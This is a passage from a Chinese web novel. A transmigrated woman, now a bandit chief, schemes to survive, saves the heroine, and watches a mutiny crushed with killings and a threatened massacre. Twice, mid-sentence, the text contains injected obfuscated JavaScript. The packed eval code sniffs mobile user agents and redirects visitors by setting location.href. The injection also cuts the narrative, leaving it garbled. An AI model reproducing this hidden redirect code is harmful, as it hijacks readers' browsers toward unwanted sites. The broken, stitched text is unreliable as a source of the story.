听得此话,顾轻云脸色变了又变,甚为难看,她咬着唇,垂下的眼眸中腾烧着怒火,但不过半息,她攥紧的拳头霍然松开,少女的面容又恢复镇定,她抬眸,神色中亦有壮士断腕之意,“既然如此,轻云不敢苟活——”她陡然看向徐青茹,这位女当家似乎更好说道一些,眸光坚定且义无反顾,“四当家!求您成全!求您给轻云一个死去的机会!” 徐青茹眼眸一暗,成全? 她似是神游般的想到,若是女主死了,那她必不能辅佐城阳王世子,要没了女主的助力,那位世子说不定难以攻下这杏花寨,既然攻不下这山寨,那她也不必忧心剿匪之事了,只是—— 如果女主这么容易被杀,那她还叫什么女主?干脆跟她一样改名叫炮灰女配好了!她前世也看过不少网络小说,深谙其套路,少了女主的小说世界往往会崩塌,所以,女主暂时不能动。 于是徐青茹抬眸看向她,嗓音泠泠,“顾姑娘,我不同意。” “既然活着,何必贪死?” 活着就有机会,活着就有逆风翻盘的可能,我这等炮灰都在挣扎活命,更何况你是女主,天道庇佑的女主,所以你,不准死。 见徐青茹拒绝了她,顾轻云神色黯淡了些,一双妙目也顿失光亮,她紧抿着唇,不再言语。 见此,二当家挑了挑眉,道,“把她押下去,好生看着,别让她寻了短见。否则——” “你们就等着剥皮抽筋吧。”女人语气蓦地冷冽下来,几个山匪忙抱拳齐说了声“是”,随后将顾轻云拖拉了下去。 “好了。”罗斩秋敛回神色,面容上又浮现出那淡漠厌倦的神情,她看了一眼徐青茹,语调松懒,“四当家的,你来处理这浑小子吧。我也累了,先行离开了。” “是。” 女人走后,场面上只剩下那犯了事的汉子,大当家闭眼旁听着,并未出声。 徐青茹神色看不出喜怒,瞧这下面那跪着的汉子,冷声问道,“为何要将顾轻云掳走?” “瞧着这小女子好看。”这汉子回答得倒是爽快,只是看向徐青茹的眼神不服中又掺杂着些垂涎,而这种眼神,在二当家走后更为明显。 徐青茹微微弯了弯唇,拿过一茶盏轻抿了一口,忽道,“你对二当家有不满?” 因二当家的命令,这些底下的山匪想女人总是偷偷摸摸的,偶尔才能去那青楼红坊偷一偷腥,或者抢劫途中随意掳过女子发泄一通。毕竟,自愿从了山匪的总归是少数。不过,这人却是大胆,竟然直接掳了女子回山寨。 大当家仍是闭着眼的模样,只是那汉子立马慌了神,左顾右盼,“......没,没有,四当家的,你可别乱说,我哪敢对二当家不服!”过了半响,他又道,言语之中颇有忿忿不平之意,“四当家的,我张某说句良心话,这山寨中我不服的另有其人。” 此话一出,徐青茹的眼神陡然冷了下来,她静静地看着他,“你不服我。”是十足十的肯定。 “嗬。”这人轻哼一声,声音细碎又刚好能让人听得见,“一个女子,短短数月便当上了当家,谁知是使了什么手段......”未待说完,这山匪忽地一顿想起什么,赶忙抬眼去看了下大当家,只见他仍合着眼,应是未听见,这才稍稍放下心来,转眼才看向徐青茹,却见女子笑靥温柔,只是那双眸子冷凌凌的,看不真切。 他想,这四当家确实是一个美人,比起他掳来的女子也不遑多让,他若是那上位者,必也会好好拥进怀里呵护一番...... “你将顾氏女掳来,可有想过后果?”一道清澄的声音响起,将这人心中那些个九九霍然冲散。 “未......未曾。” 徐青茹嗤笑一声,“且不说她父族是云州望族,势力非凡,你们遇了官兵,不想着逃之夭夭,却在他们眼皮子底下作奸犯科,一不小心,暴露了山寨的位置如何?” “这些官兵一旦寻来,可要这杏花寨数百条人命一同陪葬不成?” “你又如何担待得起!” 到最后,她声音凌厉,已有了几分上位者的气势。 听到这话,这心思粗大,色令当头的山匪终于明白过来,脸色大变,忙忙下跪求饶,“小的糊涂!小的糊涂!小的就是一时被那女子迷了眼!求四当家网开一面!” “既然这样——”徐青茹神色温婉,嘴角晕出几分真挚的笑意,嗓音也柔和动听,“既然这样,来人,将他拖出去斩了,以儆效尤!” 话音刚落,这人首先是一脸的不可置信,但随后马上反应过来,大声喊道,“不可!你算什么当家,凭什么要我的命!你这恶毒的女人,公报私仇!公报私仇!”话到最后,脸上尽是恶毒与怨恨,“你这娼妇!你这贱妇!你既要拿我的命,那我就叫你给爷我陪葬!”说罢,就要动起手来。 而徐青茹神色镇定,只是略抬了抬手,还在怔愣中的其余手下立马将人扯拉下去,神色各异。那汉子的叫骂声持续不断,响彻山头,直到头颅被砍下的那刻。 第三个。徐青茹心中默念。随后,她看向大当家,双手合在腹前,微微低头,“青茹有错,望大当家责罚。” 这位山寨大当家才慢悠悠地睁开眼睛,过了半响,才道,“你何错之有?” “青茹过于武断了。” 单豹顿了一下,笑了,“你没错,做得很好 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顾轻云的手指动了动。良久,她才睁了眼,拂了拂凌乱的头发,缓缓起身移动到食盒旁边,小心地将其打开。 好嘛,果然对古人,一个“孝”字便抵得千万口舌。 徐青茹给顾轻云带的是一碗米粥和一碟小炒牛肉。少女见了,果然露出一丝惊讶的神色,半响,才抬眸缓缓道,“......谢谢四当家。”她拿起汤匙小口小口地喝了起来,但很快她饭食的速度明显变快,显然是饿着了。不过,虽说如此,少女的动作难掩其名门闺秀的风范,如玉如珠,娴雅端庄,令人赏心悦目。 徐青茹安静地看着她,神色温淡。 忽地,少女眉眼轻蹙,停了下来——牛肉底下里面露出一张黄纸,她霍然抬头看向徐青茹,神色疑惑而惊诧,而当她想问出声时,徐青茹轻轻点了点头,神色一如既往地平静,“饭菜味道如何?” 顾轻云微顿,她伸出手将黄纸打开,借着那点点光亮,她看清了上面的字——“友”。少女蓦然一怔,随后想到什么,立即将纸张塞进口中,混着米粥吞咽下去,而后声音嘶哑地道,“轻云谢过四当家,味道甚好。” 徐青茹嘴角漾开一丝笑意,“顾姑娘,瞧着二当家的意思,你想死只怕难如登天,不如就好好活着罢,说不定二当家一个仁慈,你就出去了呢?” “......是。” 好姑娘。 “如此便好,饭已送到,话也带到,顾姑娘,那我就先行离去了。” “等一下——” 徐青茹向前的脚步兀地一滞。 “谢谢您。”少女的声音嘶哑中又带着一丝轻灵,眼眸更在黑暗中熠熠生光,她虽不知为何徐青茹要给她递这样一张纸条,但毫无疑问,这给了她一丝活下去的希望,或许,被掳进山寨,也没有她想象的那样万劫不复。 徐青茹弯了弯唇,“无碍。” 傻子妹妹,你可是女主,我是来抱你大腿的。还有,她特么又不是杀人狂魔,天天要“杀”“杀”“杀”,大当家那番话也确实给她提了一个醒,杏花寨,不是长久之地,她得另谋出路。 徐青茹径直走了出去,山匪又再一次将门关上了。 21. 第 21 章 事变 看过顾轻云后,徐青茹拿着那把栾佑送的短剑,神色冷冽而淡漠,直接前往了他的院子。 他似乎刚刚练过功,发丝被汗水打湿,前衣紧贴于身,显出几分轮廓,见她来,他稍抬眸,映出几分少年风流。 徐青茹是估摸着他练功的时候来的,但看来还是略早了些。 “你既给我一柄短剑——”她紧紧握住刀柄,神色中罕见地带了一丝期待,开门见山,“可否教我近身的刀法?” 少年挑了挑眉,“为何?” 她嘴角弯了弯,眼眸中却无半分笑意,甚至透露出一丝凛冽,“自保。” “我虽成为了四当家,但同时也是一个靶子,任何对山寨不满的兄弟,第一个便会想着拿我开刀,毕竟,我只是一个手无寸铁的柔弱女子。”徐青茹轻哂一声,随后目光炯炯地看向他,“这不也是,郎君你送我这柄剑的目的吗?” “啊——” 他似乎皱了皱眉,俊美的脸庞上浮现一丝愁容,“可姐姐,我的刀法是独门秘籍,从不教给他人。” “我也算‘他人’吗?”少女眼睛在黑夜中显得格外明亮和坚定,她上前走了一步,浅黄色的裙摆在地上发出“沙沙”的声音,她的嗓音带着轻盈而灵媚的蛊惑,“我是郎君你的人呀。” 栾佑勾唇,笑出声来。 她轻蹙着眉看他,声音又恢复平日的清冷,“不准笑。”过了一会又道,“你可答应?你若是不愿意,我再找他......” “愿意。” “姐姐都说是我的人了,那这刀法又何必再藏?” 他敛了笑意,霎时认真起来,“不过,若想快速领悟此门刀法,过程艰辛,须晨间、午间、夜间各练一次。”说到这,他轻顿了一下,漆黑的眼神带着一丝戏谑,“可姐姐的体力似乎不太行......” 她一愣,随后脸上浮现一丝薄红,又似是想到什么,冷笑一声,“......谁叫郎君找位置便找了许久,民女一次又一次地动作,这烦心费力下来自是受不住。” 果然,此话一出,少年耳尖瞬时便红艳起来,他看着徐青茹,想说些什么却又发现自己在这方面词穷得很,学她也只能学个皮毛,反倒是被将了一军。他半响未语,先前利刃般的冷漠与清高收敛不少,显示出几分恣意可爱出来。 而后他才继续说道,平静的嗓音之下又隐隐波澜起伏:“总之,此刀法得日日练习,不可半途而废,否则,效果难以显现。” “这是自然。夜间你教我,晨时与午时我在还明院自行练习,这样可好?不会耽误你太久。” 他轻顿,忽问,“那你每日要来我院中?” “嗯。”她点了点头,又想到什么,怕他误解,连忙道,“我只来练习刀术,不叨扰郎君其他。”她虽好色,但也并非不知缓急轻重,现如今,学会这门刀法可比其他之事要重要得多,毕竟,她隐隐察觉出,山寨之中有一股风雨欲来风满楼的意味。 距离剿匪的期限,已经愈来愈近了。 在栾佑这呆了一个时辰左右,徐青茹才慢慢走回还明院,今日无月,只有几颗星辰点缀,天色愈显漆黑,前方丛林中一个人影闪过,她心中一惊,身体早已作出反应——她已躲到林树之后,屏气凝神,不敢发出一丝动静。 然而,令她没有想到的是,那片丛林中竟传来阵阵女子的娇喊声,混着激烈的动静,徐青茹脸色又红又白,这是什么鬼运气?竟然让她碰上活春/宫了!她不便出来,只好期盼着这两位赶紧完事,不知过了多久,她身体已经发麻发酸,神色也十分厌倦,这两人才堪堪结束。 徐青茹轻轻移动着身体,缓解身上的不适,却忽地听见一道汉子的声音,“辛苦你了,敬宁。” 徐青茹微愣,敬宁?这是谁,怎么有些熟悉?而且这声音似乎也在哪里听到过,只因又带着一丝情/欲上头的嘶哑,她便无法一时之间分辨得出。她敛下心神,等这对野鸳鸯走了好一会后,才从树背后出来,摇了摇头,暗地里谴责一番,这才加快步伐地往还明院走。 * 莫约过了半月,三当家宋又新再一次找上了她。 那时她正在院中练着刀剑,一袭黑衣,颇有几分飒爽英姿。 他见道,忙不迭地夸奖着她,只是这话多少听着有些敷衍。徐青茹将短剑插入剑鞘,拿过桂月端来的一杯茶,一口饮下,眉眼冷冽,问道,“三当家有何要事?” “进去说。”宋又新拿着扇子向前扬了扬,桂月会意,退至一边,眼神却是看着徐青茹的,“桂月给两位当家再煮一壶茶去。” 她点点头,同宋又新一同进了屋内。 这位三当家早已对徐青茹房中轻车熟路,他找了地方坐下,晃着纸扇说道,现在是个好时机,二当家想要拿顾轻云换取顾家黄金万两,且顾家已经同意的事已在山寨中传开。 徐青茹微顿。对于顾家的回信,大当家已经下了命令——知悉内情的各位不得传出。这怎么又....... 这位白面清秀的山匪冲她意味深长地笑了笑,“这是个局。” “二当家最近几次外出,收获无果,还白白折了好十几个弟兄,山寨中不满她的声音越来越大,因而,她亟需要这些钱财来镇压人心。所以这个消息必然会被山寨中的兄弟知晓。但,如果顾轻云被放走了,或者消失了,你说,她这二当家的位置还坐不坐得了?若这次能将这个罗斩秋拉下去,我们成功的几率又要大上不少。” 徐青茹面色一滞,本来她还在烦恼要如何将顾轻云神不知鬼不觉地弄走,宋又新这番话,简直就是刚想打盹就有人递了枕头。她不动声色,只是提醒道:“三当家,二当家不是这般好拉下马的。” “自然不必我们亲自出面。还记得刑渠汉吗?” “他正是这场讨伐之声的源头。” 少女眼眸中闪过一丝惊讶 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他拿着纸扇的手一顿,随后扯出个深不可测的笑容,眼眸中跳跃着一丝疯狂,“那样便更好了,我们只等坐收渔翁之利。” 徐青茹的睫毛在下睑方投出一小片扇形的黑影,她不再说话了。 待三当家走后,桂月拿了一盒糕点欢快地走进来,像一片涌动的新山绿叶,“姑娘,瞧瞧——” “琉霜夫人身边的婢女刚刚给您送过来的。” 听闻此话,徐青茹这才嘴角扬起一丝真切的笑容,“辛劳琉霜夫人了。” * 卯时,正是清晨之际。 徐青茹正在院中练着刀法,她今日拿的是一柄长剑,少女眉眼专注认真,动作利落干劲,看起来美感与力量兼并。不得不说,小山匪的指导能力很强,她已经熟练掌握了其中一些简单的刀法,且身体素质也得到了大大的提高,近身拿下一个体弱的成年男子已不成问题。只是因她并非从小练功,身体有些部位十分僵硬,施展不开,便需要比常人花费更多的努力。 “四当家!姑娘!”桂月急切的声音传来,她跑到徐青茹声音,喘着气,“姑娘不好了,那个,那个刑渠汉带着一群山匪杀了过来——” 少女手上的动作未停,神色也并无意外,“杀了过来?人数几何?” “只怕是山寨一半的人!姑娘,这可如何是好?若他真将、将大当家二当家杀了,那我们......” 她一个凌厉的招式,剑尖正好对向门口。徐青茹扯出一丝浅笑,将剑收回剑鞘,“桂月,难道你不相信大当家和二当家的能力吗?” “他们,可不是那么容易就会被杀了的,除非——” 除非用毒药。 而宋又新又正好有她置办好的毒药,不过,他应该不会真的让刑渠汉杀了这两位,毕竟,这个人只是一个开端,一个热闹开始的序幕,而最先沉不住气人将只会沦为炮灰。 22. 第 22 章 转机 鹧鸪山的一处小山包附近。 春寒料峭,朝云灿烂,以单豹为首的杏花寨山匪弟兄手持大刀,围成一群,护着中间的几位当家与凤奴、琉霜两位夫人,而对面来势汹汹、掀起一股肃杀之气的,正是刑渠汉以及反叛的大半匪徒。徐青茹及桂月站在最后面,她神色冷淡,不见紧张。 “哈哈哈,没想到啊没想到,大当家二当家,你们也有今天!”刑渠汉扬起大刀,身姿威武,笑出了声,而后又看向人群中负手站立,神色冷峻的二当家,腔调恶劣,“罗斩秋,当初你为了一个小婊子竟然罚我,现如今你马上就要成为阶下囚了,我倒要看看二当家上/起来是什么滋味!” 话音一落,刑渠汉背后的一些山匪纷纷不约而同地怪笑起来,还有一些山匪基于二当家之前在山寨的余威,想附合一番却又神色僵硬,扯出一个不上不下怪异的表情。 女人神色阴沉,双手环抱于胸前,手指轻扣着剑柄,眼睛稍稍眯着,看着眼前反叛的山匪如同看着死人一般,透露出一股浓烈的修罗般的气场。那些被她眼神扫到的汉子不由身上打了个冷颤,不由想到女人以前的手段,神色变了又变。刑渠汉看着女人的面容,那些她制造的残忍血腥场面一股脑地冲了上来,他咬了咬牙,腮边的黑胡抖了又抖,用力地将脑中那些场景甩开,而后大声道,“弟兄们别怕,这女人虚张声势罢了!” “罗斩秋,我劝你认清形势,现在你弱我强,快快投降,爷还能饶你们一条狗命!”说罢,他又张扬狰狞地大笑起来。徐青茹的眼神缓慢地从他身上转到二当家身上,又落到大当家身上——自他们被刑渠汉围攻以来,大当家便一直冷眼旁观,未说一句话,似乎并不担心这些“揭竿起义”的反贼,再看那三当家,反倒是神色紧张,面容忧愁,装得一副好模样。 刑渠汉故意趁着栾佑和五当家乔斯元外出之际,攻打杏花寨,想来一个出其不意,一招致胜,只是,想象中的各位当家神色震惊、面容惊惧的场景并未出现,他不由微微皱眉,总觉得有些不对劲,但他转眼扫去,这些人中唯有一个二当家能让弟兄们拼一下——大当家一年前落了伤,武力这方面已大大不如以前,于是他心中稍安,又自信起来,骄狂地抬起下巴,“怎地,大当家也不说说话?” 单豹看着他,面容一肃,忽然道,“上次佑儿被行刺一事,是你的手笔?” “哈哈哈哈哈哈......”这汉子展眉,脸庞黝黑粗糙,“正是在下!” “你和另一伙山匪勾结了。”大当家平静说出这句话,眼神犀利如猛鹰,“然后你利用张磐,让他误以为是自己成功递了消息。” 一阵清风忽然吹来,裹挟着杏花浓香馥郁之味,平等地穿过在场的每一个人。 刑渠汉将外袍胸襟扯开透气,后又鼓起掌,“不愧是大当家。”片刻,他恶狠狠地道,“若不是,若不是这娘们制定了那样一个破规矩,不准动女人,我和这些弟兄们又如何会走到这个地步!大当家,我还是尊敬您的,若你将罗斩秋这个女人交给我处置,我便还许你当家的位置如何!” 大当家露出一丝淡淡的、耐人寻味的笑容,“渠汉,做任何事都要谋定而动之,你太冲动了。” “什么?” “你说我冲动?哈哈哈哈,不过是成王败寇罢了,凭什么你们一直是当家,就连徐青茹那个来山寨不久的女人也能当上,我又如何做不了呢?若我当杏花寨,自然这财宝、女人都给兄弟们安排上!” 说到这,他似乎想到什么,讥笑地看向二当家,“罗斩秋,你怕是不知道,顾轻云已经被我杀了,到时候等顾家将黄金万两送过来,我便告诉他们这个消息,看看顾家人什么反应哈哈哈哈......” 女人看着他,突然也笑了出来,随后敛了神色,淡淡地道,”顾家不会送黄金过来了,你杀了顾轻云,也无所谓。” “你说什么?!”这句话不在他的意想之中,刑渠汉神色有了几分慌张。 罗斩秋没有回答,越过他看向其身后,眼中霍然有神,嘴角露出一丝浅笑,“来了。” 就在此刻,忽听得一阵激烈的动静,一群人从四面八方迅速鱼贯而出,冲围了上来,手持擘张寸弩,腰悬横刀,正对着刑渠汉在内的叛乱之人。 一时间,尘土飞扬,沉闷的呼吸声此起彼伏,被包围之人面露惊骇之意,惶急不安。 “埋伏!” “有埋伏!!” 刑渠汉拧着眉,神色由方才的胸有成竹已然变成了震惊,他看着大当家,又看向二当家,话语也不利索起来,“怎么会......怎么会!杏花寨怎么可能还有这样一队人!” 徐青茹的神色也带了丝疑惑,她稍抬头观察着那些人——虽是布衣装扮,行动举止之间却透露出一股严整凛冽之味,看起来......倒像是训练过的士兵。 二当家这才正了正神色,眼神扫过这群反叛之人,勾起唇角,声音洪亮又带着一丝嘶哑,“诸位,我这有个好消息。” “大家可听过镇国大将军赵羽?五年前他死于南阳王手中时,曾留下过一封密信,该密信由其一心腹掌管。听闻这信中记载了赵羽多年以来收拢的金银财宝以及珍藏兵器的方位,朝廷也不知晓。而现今,这封密信就在我的手中。若各位愿意放下你们手中的武器,归顺于我,呵,我也不计较你们今日之举,更可以带着你们一同去寻找赵羽留下的财富,如何?” 此话一出,人群中蓦然一静,本来他们看到这突然冒出来的一伙人心中已有不安,现见罗斩秋愿意不计前嫌,放过他们,还有曾经的大将军赵羽留下来的秘宝,一些心思较浅的人便动摇起来,既喜又疑,零零散散些人更是默不作声地丢下了大刀,发出阵阵“吭哧”声。 见此,刑渠汉连忙急切地吼道,“别被这女人蛊惑了心智,赵羽是何许人也?她罗斩秋能拿到大将军的密信?我刑渠汉第一个不信!” 女人哂笑一声,慢悠悠地从袖中拿出一封信纸,正面正龙飞凤舞地写着“密信、赵羽”四字,“看好了,赵羽的亲信。”随后她冷了音,眼眸晦暗,“我再给诸位一炷香的时间,若还不愿意归顺,那便是我罗斩秋的敌人!” 这些山匪虽不识字,但被她气势所震慑住,于是又有一群人面露讪讪,环顾左右,而后缴械放弃挣扎,刑渠汉以及他身周的几位心腹面色隐隐露出狠毒,他厉声喝道,“你们这些蠢货,竟然敢相信这个善变阴狠的女人?听我的,只有杀了他们,我们的性命才能保住!不准给老子放下!听到没有!” 他说的话暂时安抚住了还在犹豫的半数人,让他们想要放下武器的动作稍稍迟缓了一些。 罗斩秋冷哼一声,似是没了耐心,“我再数三个数,三、二、一——” 许是抵不过女人那股强悍阴冷的气质和周身那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114606|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群拿着弩弓、看起来训练有素的人群,待她话落,刑渠汉所带的人,不论是杏花寨本来反叛的兄弟,还是另一个山寨过来支援的匪徒,几乎全落了武器。 “蠢货!一群没骨气的蠢货!”刑渠汉破口大骂起来,随后他阴恻恻地“呸”了一声,看向罗斩秋,“嗬,你个臭婊子,以为这样我就会投降了吗,哈哈哈哈做梦!爷必取了你的狗头......”然而话音刚落,他的身子忽被一长剑贯穿,勾出一线艳红的血迹,他满是震惊地转过头去,却见拔刀者是一名与他关系甚好、称兄道弟的山匪。 “对不住了,刑大哥。”那人语气微颤,眼中却透露出一股狠决之意,“禾娘还在等我......我不能死在这里......” 刑渠汉瞪大双眼,心中似有无数恼火,却又顷刻间被身体上的伤痛给浇灭,他指着旁侧突然叛变的兄弟,“你......你......”其话语还未讲完,便直直倒地,轰然一声,方才昂扬得意之人瞬间变成死物一具,唯有那双未合拢的眼目透露出滔天的恨意与不甘。 “二当家!”杀了刑渠汉的那位瘦猴般的山匪立马向女人抱拳,声音恭敬,“徐某愿意归顺二当家!求二当家看在我杀了这等贼人的苦劳上,放我一马!”他话音一落,后面的山匪纷纷跟着大喊,”二当家!二当家!二当家!” 女人这才勾出一丝笑容,“识时务者为俊杰,各位都是聪明人,我自然不会辜负你们。不过——”她蓦地转了个弯,打了个响指,冷冷地看着处于中心地位的那些带头的,一字一句地道,“将这几个叛贼杀了,我重重有赏!” “除了他。”女人伸出手,指了指那个瘦猴一般的山匪。 罗斩秋的声音像一把曲折悱恻的弯刀刺入这些活下的人身上,他们只静默片刻,便立马抄起家伙,指向了先前领导的带头人,不带一丝犹豫。毕竟这些人是山匪,没有多少礼义可言,只是为了活着,又或者只是彰显他们的野蛮杀戮。 场上二当家这方局势大好,徐青茹也彻底放下心来,她神色中闪过一丝思索,赵羽、密信、金银财宝......原书中有提到吗,还是她看漏了呢......等等!少女脑中突然闪过一个片段,如果她没有记错,原书中城阳王世子对后来的顾轻云提到过,杏花寨与赵羽有某种联系,寨中的大当家似乎是赵羽曾经的部下。不过现罗斩秋又拿出了属于赵羽的密信,说明他们对赵羽这位反叛的大将军了解极深。所以,他们盘亘在山中,是为了复仇,还是只为了寻找赵羽留下的秘宝? 她似乎已接近真相,又似乎离得更远了。所有的一切笼罩在雾霾之中,看不真切,她还需要更多的线索。 “姑娘。”桂月往自家姑娘那边靠了又靠,眼前这些反叛的山匪又残忍地杀害了他们的带头人,不讲半分情分,前方的场面一度血腥难看。徐青茹握住她的手,出声安抚,“别怕。” 另一侧。 “姐姐!”琉霜也紧紧抓住身旁的凤奴,微微颤抖,美目中氤氲着泪花,神色无助又隐隐透露出一丝恐惧,“他们......他们,我......” “琉霜。”凤奴轻轻捂住她的眼睛,那温热的触感让她稍稍安定下来,凤奴的神色静然而深邃,她看着眼前发生的杀戮场景,声音波澜不起,“琉霜,都过去了,那样的事,不会再发生了。今日只是一个意外,而现在这个意外已经被二当家解决了。” 23. 第 23 章 天真 “四当家。” 一声阴冷的声音传来,徐青茹身上不由起了一个冷颤,她抬眼望向二当家,眼神中罕见地掠过一丝不安,但很快镇定下来,“二当家有何要事要嘱咐青茹?” 罗斩秋轻笑一声,那双狭长的眼睛恍若毒蛇一般攀上徐青茹的脖颈,她道,“听闻四当家是个通文墨的人。” 停顿片刻,她勾起唇,“之后就劳烦四当家研究研究这封密信。” 徐青茹一时怔然,她轻咬下唇,心中疑窦四起。这样珍贵的物件竟要她来研究?且不说山寨中识字的还有大当家、三当家、小栾爷,就偏偏挑在现在这样一个众目睽睽的时刻点名要将密信交给她,这不是置她于水深火热之中吗?徐青茹不觉得这是一个偶然事件,她敏锐地察觉到这句话背后二当家对她的恶意,或是不信任她,或是想试探她,但无论是哪种,她都必须小心谨慎,不能马虎半点。 日光越来越足,金灿灿地落到每个人身上。 她沉默须臾,道,“四当家,我于这方面的了解不深,或许......” “青茹。”大当家忽然出声,打断了她的推辞之意,他看着她,面色无喜无怒,似乎只是平静地叙述着,“既然二当家把这件事交给你,就是信任你的能力,我们杏花寨,不养闲人。” 最后一句,隐隐约约散发出凌厉的气势,不仅是警告徐青茹,也同样是警告刚刚已投奔杏花寨的其他山头的山匪,以及那些浑了脑子跟着刑渠汉一同反叛之人。 少女猛地捏紧拳头,顷刻间,她已将未尽之语悉数咽下,点头垂眸,“是,大当家。”随后听得二当家冷哼了一声。 大当家将视线从她身上移开,眯着眼,扫过眼前乌泱泱的一片人,最后落到那个精瘦的山匪身上,“你叫什么名字?是哪个山头的?” 被点到名的徐丙吞咽了一下口水,眉梢唇角的肌肉不由紧绷,他声音轻颤但很快便顺滑起来,“回大当家的话,我叫徐丙,是鹧鸪山不远处龙牙山赤炼寨的人,前些日子刑渠汉找上了老大,呸,杆子(注1),不仅送去金银,又送来上好的烈酒,说是他有一计,能.....能拿下杏花寨!还说......” 说到这,徐丙咬牙,心一横,全盘托出,“还说他必会取代大当家您的位置,还会把二当家送给那杆子作小妾!那杆子喝了酒,被刑渠汉哄得不知天高地厚,便打起了主意。前些日子他们收集人马,白日探路,夜晚练刀,这不,前几日刑渠汉说是稳妥了,就叫着我们这些个兄弟,打来杏花寨了......大当家,二当家,我们全是被刑渠汉给蒙骗了,我们绝无半点对您们的不敬!” 说这话时,徐丙偷偷看向二当家的神情。当年赤炼寨刚刚成立的时候,有些气血上头的汉子,听闻杏花寨有个女当家,纷纷嗤之以鼻,想要去杀一杀她的锐气,没想到真一碰到了这位二当家,却被人家打得屁滚尿流,白折了几十个兄弟,唯一留下的活口还被挑了筋骨,成了半死不活的残废,自从,便再无人敢惹上罗斩秋了,有甚之者只要听到她的名号,便要绕道而行。 罗斩秋长眉轻挑,嘴角勾起一丝若有似无的笑意,不知是不甚在意,还是已经在脑中想好了这些人的死法,整个人透露出一股隐隐的、迫不及待的兴奋。 “既然如此——” “明日我去一趟赤炼寨好了。” 是第二种。 徐丙面色惶惶,心中大惊,“二当家.....您这是要?” “血、洗、赤、炼、寨。”话音刚落,女人神色陡然变冷,目光中透露出嗜血的杀意,“嗬,竟敢勾结怂恿我的人,真是活得不耐烦了!”说罢,她睥睨着眼前投奔于她的山匪,道,“明日不愿意同我去的,现在便自行了断,否则——”她冷笑一声,“就不要怪我妇人狠毒了。” ...... “是!” “听二当家的!” ”他妈的!谁不去谁是孙子!” * 亥时。 徐青茹的心猛猛跳着,白烛火焰之下,她握着那张纸,神色震惊而又冷厉——密信里面是一张白纸,没有任何罗斩秋所说的赵羽遗留下来的金银财宝的信息。 在离去之前,罗斩秋又当着众人的面,将信封交到她手中,女人的神色耐人寻味,当时徐青茹只以为是信中内容复杂精巧,难以破解,要想识别只怕要废上好一番功夫,但令她没有想到的是,信封中竟然只有一张白纸,白纸上什么文字也没有! 她就说,罗斩秋怎么可能会把这等重要的物什交给她,她就是拿她当作一个幌子!一个摆在明面上、吸引人目光的幌子! 她还是太过于天真了。 徐青茹呼出一口长气,目光冷冽,她咬着唇,将白纸揉成一团后用力地扔到一边。烛光照在她脸上,半明半暗,柔意与冷峻结合,良久都未有变化。 门“咔嚓”一声,忽地被打开,少女神色闪过一丝警醒,立马将那纸团捡起放在袖中,随后冷声道,“是谁?” 却听得一声熟悉的轻笑。 徐青茹的心倏地松了下来,她语气放软,“......你怎么来了。” 说话间,来人已经走到了光亮之处,烛火光映出他精致的面容,正是栾佑。 少年身长,此刻她坐着,他站着,颇有一番压迫感。他目光温切地落到她身上,见她神色似有不虞,微不可闻地皱了下眉,而后道,“我已听闻今日之事。” “可有碍?” “......无碍。”她抿了抿唇,面对他的询问,心中的苦楚一下子便加倍似地翻涌起来。可一想到他也是山寨中的一员,说不定也早知晓赵羽密信之事,便心中泛起酸意,不愿再多说。 他轻顿。 他已知晓了刑渠汉反叛、罗斩秋将于明日前往赤炼寨以及将密信交予她之事了,贺必已绘声绘色说了一遍。 赵羽留下的密信......他心中冷嗤一声,这当然是一个谎言,只是这个谎言真真假假,掺杂一起,难以分辨。少年继续看着她,眉眼深邃而冷泠,又重复了一遍,“......真的无事?” “罗斩秋给你的密信,应该是假的吧。” 他声音不疾不徐,带着十足的笃定。 徐青茹一愣,手中倏地一紧,惊讶又警惕的目光看向他,“你知道内情?”片刻,她神色黯然了下来,似乎缠绕着些许痴恨,“如今杏花寨的人皆知道密信在我手中,必会认为我或多或少知晓这笔财物的下落,若是.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这下倒是轮到栾佑眼神中闪过一丝惊讶了。他知她有胆识,却不知她竟能做到如此地步,这样的道路,稍有不慎,就会跌落万丈悬崖。 “我知道。”徐青茹垂下眼眸,眼睫轻轻地颤动着,散落的发丝乌亮柔黑,“我这样狡诈而多变,迟早有一天会成为他人的眼中钉,肉中刺。但——”她猛地抬头看向他,姣好的面容此刻又痴又怨,“郎君,我没有办法,就像现在,尽管我的剑离你这样的近,但如果你想对付我,死去的那个人一定是我,你明白吗?” “......你明白吗......” 他一顿,伸手握住了她的柔荑,“我不会让你死的。” 少女的眼中流下两行清泪,良久,她手一松,短剑跌落在地上,她蓦然投入他的怀抱,钗横鬓乱,随后放肆地哭泣起来,“郎君,别丢下我,别杀了我。” 他回抱住了她微微发抖的身体。 他暂时不会杀她。 不,他不会杀她,他怎么舍得杀她。 只是...... 少年眸中闪过一丝晦暗,这一趟浑水已经越搅越浑了。 24. 第 24 章 坦诚 一天前。 徐青茹早已从宋又新口中得知刑渠汉今日会用毒药暗中谋杀顾轻云,于是她很快便做出了决定,她要去救她。 她先是“不小心”在焦房落下了一颗可以极大程度减弱脉息的药丸,后面又在刑渠汉将看守焦房的山匪杀死后,偷偷尾随之。待他将顾轻云的“尸体”扔到乱葬岗,徐青茹才现身将少女背到安全之地,给她服下解药。 她将顾轻云放在鹧鸪山一个偏僻的山坡树林中。 少女身体冰凉,脸色素白,眉头紧锁,过了好一会儿才苏醒过来,见到周围夜色漆黑,树丛交错,虚弱地问道,“四当家......这是,这是哪里?” 